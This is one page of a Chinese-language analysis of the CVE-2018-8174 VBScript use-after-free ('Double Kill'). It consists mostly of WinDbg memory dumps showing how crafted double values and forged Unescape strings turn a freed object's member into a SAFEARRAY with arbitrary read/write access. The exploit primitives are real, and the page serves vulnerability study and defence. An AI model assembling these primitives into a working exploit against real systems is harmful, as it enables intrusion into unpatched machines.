CVE-2018-8174双杀漏洞分析复现及防御
来源:岁月联盟
时间:2020-01-29
0:005> dd 01c***f0
01c***f0 01cb74a8 000000b8 00000100 00000100
01cb5100 00004000 01cb74ac 01cb754c 01cb3e30
01cb5110 0000000f 00000003 00000040 00000003
01cb5120 00000014 01cb5128 01cb74ac 01cb74f4
01cb5130 01cb752c 00000475 00000000 01cb5100
01cb5140 01cb5114 00000002 00000000 00000477
01cb5150 0000047d 000015c6 00000002 00000000
01cb5160 0000047e 00000482 00000bfc 00000012
0:005> dd 01cb752c
01cb752c 00000008 00000000 002de2f4 00000000 //0x08是类型,代表的vbstring,后面会把这个类型改为safearray即0x200c
01cb753c 00000000 00000000 0000822f 00000006
01cb754c 00000000 00000000 00000003 01cb752c
01cb755c 0065006d 0000006d 00000b19 00000b5b
01cb756c 00000000 01cb749c 01cb7540 00000001
01cb757c 00000000 00000b65 00000b69 01cb7824
01cb758c 00000001 00000000 00000b6a 00000b6e
01cb759c 01cb7824 00000002 00000000 00000b6f
//看伪造的这个类似于数组的字符串,它的元素有7fffffff个,每个元素占一字节,元素内存地址为0,那它能访问的内存空间是0-0x7fffffff
//如果现在类型变为safearray,就能够实现全址读写
//str_1=Unescape("%u0001%u0880%u0001%u0000%u0000%u0000%u0000%u0000%uffff%u7fff%u0000%u0000")
0:005> dd 002de2f4
002de2f4 08800001 00000001 00000000 00000000
002de304 7fffffff 00000000 00000000 585693f7
002de314 88000000 0000000e 81ea6765 98757f51
双精度浮点数完成类型混淆的原理
Get P 执行完成后,P作为返回值返回给cla4.mem成员变量中,那么P是什么:
//源码中;
P=174088534690791e-324
//优化后这样的:
P=CDbl("174088534690791e-324") //CDbl是vbs中的吧表达式转化为双精度类型的一个函数
174088534690791 e-324 是174088534690791的-324平方
用c语言计算为:printf("%I64x/n",174088534690791e-324);
为,200c00000000,
由它是vbDouble类型,前面会有一个0x05的标志,
最终在内存中P的值为:00000005 00000000 00000000 0000200C
再次查看mem地址;
0:005> dd 01cb752c
01cb752c 0000200c 00000000 002de2f4 00000000 //类型被改为200c,代表着safearray类型01cb753c 00000000 00000000 0000822f 00000006
01cb754c 00000000 00000000 00000003 01cb752c
01cb755c 0065006d 0000006d 00000b19 00000b5b
01cb756c 00000000 01cb749c 01cb7540 00000001
01cb757c 00000000 00000b65 00000b69 01cb7824
01cb758c 00000001 00000000 00000b6a 00000b6e
01cb759c 01cb7824 00000002 00000000 00000b6f
0:005> dd 01cb752c-c
01cb7520 00000005 00000000 00000000 0000200c //这个就是P在内存中的值01cb7530 00000000 002de2f4 00000000 00000000
01cb7540 00000000 0000822f 00000006 00000000
01cb7550 00000000 00000003 01cb752c 0065006d
01cb7560 0000006d 00000b19 00000b5b 00000000
01cb7570 01cb749c 01cb7540 00000001 00000000
01cb7580 00000b65 00000b69 01cb7824 00000001
01cb7590 00000000 00000b6a 00000b6e 01cb7824
//为什么是从mem地址-c开始的,,这个-c的位置,是原来没有被释放的时候的cla4_obj1.mem的地址,
//就是P修改的是释放前的mem的地址,释放前与占位后的mem相差0x0C字节,
//00000005 00000000 00000000 0000200C这个数,刚好从0c的位置写入了0x200c
最终实现了 vbstring-->safearray的类型转换,cla5.mem最终拿到任意地址读写权限
在InitObjects函数中的cla4_obj2.SetProp(cla7_obj1)使用了同样的方法,
伪造的字符串:
str_2=Unescape("%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000")
转换的类型:
P=CDbl("636598737289582e-328") //dd 00000005 00000000 00000000 00000003
0x03是vbLong类型;
cla7的Get P中的第一次IsEmpty,free类对象地址:
//这次特意提前保存了没有被free的cla4_obj2类对象地址的状态:
0:005> dd 1cb2560
01cb2560 712f1748 00000007 01cb5210 003be638
01cb2570 000003ec 00000000 00000000 00000000
01cb2580 00000000 002a613c 01cb2528 01cb24f0
01cb2590 59acc23f 80000000 712f00d4 71303100
01cb25a0 713030f0 00000000 00000000 00000000
01cb25b0 00000000 0249cb64 00000000 00000000
01cb25c0 00000000 00000000 59acc234 80000000
01cb25d0 712f00db 71303100 713030f0 00000000
//目前还是cla4_obj2.mem
0:005> dd 01cb5210
01cb5210 01cb76d8 000000ac 00000100 00000100
01cb5220 00004000 01cb76dc 01cb7770 01cb3ec0
01cb5230 0000000f 00000003 00000040 00000003
01cb5240 00000014 01cb5248 01cb76dc 01cb7710
01cb5250 01cb7750 000004a3 00000000 01cb51b8
01cb5260 01cb522c 00000002 00000000 000004a5
//占位前的mem地址是01cb7750
0:005> dd 01cb7750
01cb7750 02490000 01cd2808 01cc0000 0249ce98
01cb7760 00000000 01cb7938 0000822f 00000006
01cb7770 00000000 00000000 00000003 00000000
Class cla4 at 1cb2560, terminate called
Breakpoint 3 hit
eax=712f185c ebx=0249c5f8 ecx=7134a9d8 edx=0249c570 esi=01cc7394 edi=00000001
上一页 [1] [2] [3] [4] [5] [6] [7] [8] [9] [10] [11] [12] [13] [14] [15] [16] [17] [18] [19] [20] 下一页